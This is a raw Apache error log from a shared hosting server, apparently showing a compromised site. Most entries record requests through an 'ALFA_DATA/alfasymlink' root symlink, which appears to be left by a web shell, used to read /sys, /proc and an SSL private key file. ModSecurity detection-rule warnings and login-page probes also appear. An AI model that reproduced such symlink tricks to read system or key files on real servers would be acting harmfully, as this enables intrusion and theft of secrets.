[Sun Oct 25 17:31:55.151978 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 77.223.252.83:17861] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/objs_per_slab
[Sun Oct 25 17:31:56.971173 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 185.191.171.17:57402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/scsi_sense_cache/min_partial
[Sun Oct 25 17:31:57.640025 2026] [core:error] [pid 2905737:tid 2905737] (13)Permission denied: [client 205.209.66.78:42326] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/objs_per_slab
[Sun Oct 25 17:31:59.401848 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 34.227.234.246:48572] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:32:03.204304 2026] [core:error] [pid 2904864:tid 2904864] (13)Permission denied: [client 23.21.227.240:39215] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/pci-stub/remove_id
[Sun Oct 25 17:32:07.176699 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 44.223.116.180:30412] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:32:11.237989 2026] [ssl:error] [pid 2897949:tid 2897949] (70014)End of file found: [client 3.208.156.9:6170] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:32:22.862057 2026] [authz_core:error] [pid 2904864:tid 2904864] [client 45.63.4.69:34526] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 17:32:31.348298 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 73.82.60.19:52489] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/alloc_calls
[Sun Oct 25 17:32:31.396387 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 100.29.164.178:42429] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:32:32.768195 2026] [core:error] [pid 2905741:tid 2905741] (13)Permission denied: [client 98.50.248.44:56541] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/alloc_calls
[Sun Oct 25 17:32:34.269584 2026] [core:error] [pid 2904864:tid 2904864] (13)Permission denied: [client 209.59.98.159:18632] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/alloc_calls
[Sun Oct 25 17:32:39.822731 2026] [ssl:error] [pid 2905737:tid 2905737] (70014)End of file found: [client 35.173.18.61:21967] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:32:43.331182 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 44.205.74.196:52304] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:32:47.374051 2026] [ssl:error] [pid 2905741:tid 2905741] (70014)End of file found: [client 52.202.233.37:19352] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:32:51.425690 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 18.205.213.231:6633] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:32:55.650295 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 34.227.156.153:25221] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:32:59.553288 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 44.217.255.167:54691] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:33:00.884787 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 190.43.59.185:58088] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/cpu_slabs
[Sun Oct 25 17:33:04.437986 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 102.129.75.179:23325] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/cpu_slabs
[Sun Oct 25 17:33:07.610963 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 18.205.213.231:43274] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:33:12.447889 2026] [core:error] [pid 2899543:tid 2899543] (13)Permission denied: [client 54.163.136.244:27407] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/devices/0000:00:04.0/driver/new_id
[Sun Oct 25 17:33:15.915189 2026] [security2:error] [pid 2899920:tid 2899920] [client 18.213.240.226:47313] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/wakeup/wakeup2/subsystem/wakeup1/device/PNP0303:00/power/"] [unique_id "at51mx8fO9KwLgqLGMRCFgAAAAc"]
[Sun Oct 25 17:33:15.915244 2026] [security2:error] [pid 2899920:tid 2899920] [client 18.213.240.226:47313] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/wakeup/wakeup2/subsystem/wakeup1/device/PNP0303:00/power/"] [unique_id "at51mx8fO9KwLgqLGMRCFgAAAAc"]
[Sun Oct 25 17:33:23.602321 2026] [ssl:error] [pid 2904864:tid 2904864] (70014)End of file found: [client 3.230.69.161:61572] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:33:27.796582 2026] [ssl:error] [pid 2899543:tid 2899543] (70014)End of file found: [client 52.0.105.244:35670] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:33:32.958144 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 52.2.83.227:52114] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/0000:00:01.1/resource0
[Sun Oct 25 17:33:35.394328 2026] [ssl:error] [pid 2905737:tid 2905737] (70014)End of file found: [client 44.221.105.234:30118] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:33:43.467618 2026] [ssl:error] [pid 2899790:tid 2899790] (70014)End of file found: [client 34.203.111.15:1101] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:33:47.399002 2026] [ssl:error] [pid 2897949:tid 2897949] (5)Input/output error: [client 52.70.138.176:7663] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:33:50.921775 2026] [security2:error] [pid 2899543:tid 2899543] [client 43.155.26.193:35484] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at51vsY9yad2bfqj7tUHlAAAAAo"]
[Sun Oct 25 17:33:51.582446 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 3.208.156.9:59800] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:34:03.711720 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 34.202.88.37:41918] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:34:07.870086 2026] [ssl:error] [pid 2905737:tid 2905737] (70014)End of file found: [client 44.217.255.167:5483] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:34:11.513682 2026] [ssl:error] [pid 2899790:tid 2899790] (70014)End of file found: [client 98.82.38.120:4112] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:34:14.033132 2026] [core:error] [pid 2905736:tid 2905736] (13)Permission denied: [client 75.176.50.160:45281] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/validate
[Sun Oct 25 17:34:17.122186 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 38.41.42.140:52756] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/validate
[Sun Oct 25 17:34:24.031261 2026] [core:error] [pid 2905739:tid 2905739] (13)Permission denied: [client 105.234.176.26:5115] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/validate
[Sun Oct 25 17:34:27.603776 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 54.87.62.248:40158] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:34:31.531588 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 18.213.102.186:61639] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/device:06/physical_node/driver/module/uevent
[Sun Oct 25 17:34:39.574600 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 190.5.161.158:64923] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/alloc_calls
[Sun Oct 25 17:34:43.385966 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 49.207.227.43:53893] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/alloc_calls
[Sun Oct 25 17:34:45.782808 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 186.33.21.242:36618] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/alloc_calls
[Sun Oct 25 17:34:57.995101 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 24.96.129.208:44172] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/poison
[Sun Oct 25 17:35:11.640415 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 98.83.72.38:42413] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:35:17.771708 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 177.37.235.242:30785] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/validate
[Sun Oct 25 17:35:19.705835 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 18.205.213.231:36618] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:35:20.200265 2026] [core:error] [pid 2899543:tid 2899543] (13)Permission denied: [client 5.82.121.69:61567] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/validate
[Sun Oct 25 17:35:22.381044 2026] [core:error] [pid 2905737:tid 2905737] (13)Permission denied: [client 37.77.53.219:42640] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/sanity_checks
[Sun Oct 25 17:35:22.843972 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 200.82.230.105:41370] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/validate
[Sun Oct 25 17:35:24.459826 2026] [core:error] [pid 2905736:tid 2905736] (13)Permission denied: [client 212.70.118.198:19230] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/poison
[Sun Oct 25 17:35:25.197680 2026] [core:error] [pid 2899543:tid 2899543] (13)Permission denied: [client 31.166.239.3:50498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/sanity_checks
[Sun Oct 25 17:35:25.198185 2026] [security2:error] [pid 2899543:tid 2899543] [client 31.166.239.3:50498] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/sanity_checks"] [unique_id "at52HcY9yad2bfqj7tUHlwAAAAo"]
[Sun Oct 25 17:35:25.198222 2026] [security2:error] [pid 2899543:tid 2899543] [client 31.166.239.3:50498] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/sanity_checks"] [unique_id "at52HcY9yad2bfqj7tUHlwAAAAo"]
[Sun Oct 25 17:35:26.306775 2026] [core:error] [pid 2904864:tid 2904864] (13)Permission denied: [client 47.196.14.30:34565] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/poison
[Sun Oct 25 17:35:27.622600 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 95.141.217.142:14353] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/sanity_checks
[Sun Oct 25 17:35:38.617226 2026] [core:error] [pid 2905725:tid 2905725] (13)Permission denied: [client 216.131.73.52:38126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/alloc_calls
[Sun Oct 25 17:35:39.644794 2026] [ssl:error] [pid 2899543:tid 2899543] (70014)End of file found: [client 52.204.37.237:41824] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:35:40.340956 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 86.144.38.203:35498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/alloc_calls
[Sun Oct 25 17:35:42.021554 2026] [security2:error] [pid 2901884:tid 2901884] [client 107.172.76.131:64933] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at52IC2Ruv4ouI3ozJsYagAAAAw"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 17:35:42.021627 2026] [security2:error] [pid 2901884:tid 2901884] [client 107.172.76.131:64933] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at52IC2Ruv4ouI3ozJsYagAAAAw"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 17:35:43.305012 2026] [core:error] [pid 2905737:tid 2905737] (13)Permission denied: [client 90.243.153.107:45123] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/alloc_calls
[Sun Oct 25 17:35:50.372256 2026] [authz_core:error] [pid 2905725:tid 2905725] [client 164.92.211.98:43410] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 17:35:59.581078 2026] [core:error] [pid 2899543:tid 2899543] (13)Permission denied: [client 18.215.49.176:5327] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:03/subsystem/drivers/button/unbind
[Sun Oct 25 17:36:02.000622 2026] [ssl:error] [pid 2906176:tid 2906176] (70014)End of file found: [client 85.208.96.204:35844] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:36:03.757941 2026] [ssl:error] [pid 2905739:tid 2905739] (70014)End of file found: [client 54.84.147.79:26016] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:36:05.088633 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 73.62.4.175:44371] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/remote_node_defrag_ratio
[Sun Oct 25 17:36:07.502371 2026] [core:error] [pid 2905736:tid 2905736] (13)Permission denied: [client 185.187.78.243:20746] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/remote_node_defrag_ratio
[Sun Oct 25 17:36:07.652990 2026] [ssl:error] [pid 2899543:tid 2899543] (70014)End of file found: [client 54.204.12.115:5816] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:36:08.948362 2026] [core:error] [pid 2906176:tid 2906176] (13)Permission denied: [client 98.157.233.74:60209] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/remote_node_defrag_ratio
[Sun Oct 25 17:36:11.576908 2026] [ssl:error] [pid 2905725:tid 2905725] (70014)End of file found: [client 18.233.24.238:38909] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:36:12.086321 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 174.62.249.174:39233] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/objs_per_slab
[Sun Oct 25 17:36:16.004311 2026] [core:error] [pid 2906176:tid 2906176] (13)Permission denied: [client 102.66.187.23:42599] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/objs_per_slab
[Sun Oct 25 17:36:17.473304 2026] [core:error] [pid 2905736:tid 2905736] (13)Permission denied: [client 68.61.192.166:54945] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/slabs
[Sun Oct 25 17:36:18.402622 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 85.154.17.19:54744] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/objs_per_slab
[Sun Oct 25 17:36:19.482265 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 54.147.238.89:29802] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/ip6_dst_cache/slabs
[Sun Oct 25 17:36:21.039945 2026] [core:error] [pid 2905737:tid 2905737] (13)Permission denied: [client 98.41.67.48:38435] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/slabs
[Sun Oct 25 17:36:22.602953 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 24.62.72.115:45869] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/slabs
[Sun Oct 25 17:36:30.315699 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 84.17.36.53:56836] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/objs_per_slab
[Sun Oct 25 17:36:34.411460 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 197.149.244.203:33173] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/objs_per_slab
[Sun Oct 25 17:36:37.470810 2026] [core:error] [pid 2899542:tid 2899542] (13)Permission denied: [client 38.246.59.9:53172] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/objs_per_slab
[Sun Oct 25 17:36:40.029684 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 92.211.25.92:28208] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/cache_dma
[Sun Oct 25 17:36:40.715706 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 108.4.195.198:44745] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/trace
[Sun Oct 25 17:36:42.835059 2026] [core:error] [pid 2899542:tid 2899542] (13)Permission denied: [client 177.184.111.105:38306] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/trace
[Sun Oct 25 17:36:47.271297 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 188.191.23.7:39652] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/cache_dma
[Sun Oct 25 17:36:47.426313 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 35.174.253.85:58202] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:36:49.088314 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 88.234.80.189:30114] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/cache_dma
[Sun Oct 25 17:37:07.626848 2026] [security2:error] [pid 2899920:tid 2899920] [client 85.208.96.200:20224] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/40/net/rpc/"] [unique_id "at52gx8fO9KwLgqLGMRCHgAAAAc"]
[Sun Oct 25 17:37:07.626897 2026] [security2:error] [pid 2899920:tid 2899920] [client 85.208.96.200:20224] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/40/net/rpc/"] [unique_id "at52gx8fO9KwLgqLGMRCHgAAAAc"]
[Sun Oct 25 17:37:10.381955 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 85.208.96.200:20230] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/sunrpc/sections/__ksymtab
[Sun Oct 25 17:37:19.936495 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 187.224.187.44:59438] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/objs_per_slab
[Sun Oct 25 17:37:21.697228 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 129.222.112.191:55523] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/objs_per_slab
[Sun Oct 25 17:37:23.398613 2026] [core:error] [pid 2899542:tid 2899542] (13)Permission denied: [client 71.49.129.143:44909] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/objs_per_slab
[Sun Oct 25 17:37:39.238645 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 3.210.29.96:20267] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:37:43.861222 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 168.181.246.190:4667] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/cpu_slabs
[Sun Oct 25 17:37:44.989924 2026] [security2:error] [pid 2904910:tid 2904910] [client 107.172.76.131:64936] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at52m_gXQ78FHGC5xxdTfgAAAA4"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 17:37:44.989988 2026] [security2:error] [pid 2904910:tid 2904910] [client 107.172.76.131:64936] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at52m_gXQ78FHGC5xxdTfgAAAA4"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 17:37:45.506837 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 98.238.189.206:58397] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/cpu_slabs
[Sun Oct 25 17:37:48.826356 2026] [core:error] [pid 2905737:tid 2905737] (13)Permission denied: [client 103.242.186.10:33638] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/cpu_slabs
[Sun Oct 25 17:37:51.127940 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 44.221.180.179:35429] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:37:59.111756 2026] [ssl:error] [pid 2899543:tid 2899543] (70014)End of file found: [client 44.206.93.215:30332] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:38:01.492313 2026] [security2:error] [pid 2897967:tid 2897967] [client 43.131.45.213:36932] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/bases4/"] [unique_id "at52uRVtY6H0wJd2uaIK_QAAADA"]
[Sun Oct 25 17:38:02.151876 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 185.191.171.15:37266] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:38:10.851535 2026] [proxy_fcgi:error] [pid 2899543:tid 2899543] [client 68.183.238.167:63557] AH01071: Got error 'Primary script unknown', referer: recruit.ufi.co.jp/blog//wp-login.php
[Sun Oct 25 17:38:12.774383 2026] [security2:error] [pid 2905737:tid 2905737] [client 85.208.96.211:44258] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/b0e34_ade07_745c98b16c54f79c0a69b8691ae447b0.key"] [unique_id "at52xCyjhNt8noxK2JA8-gAAABA"]
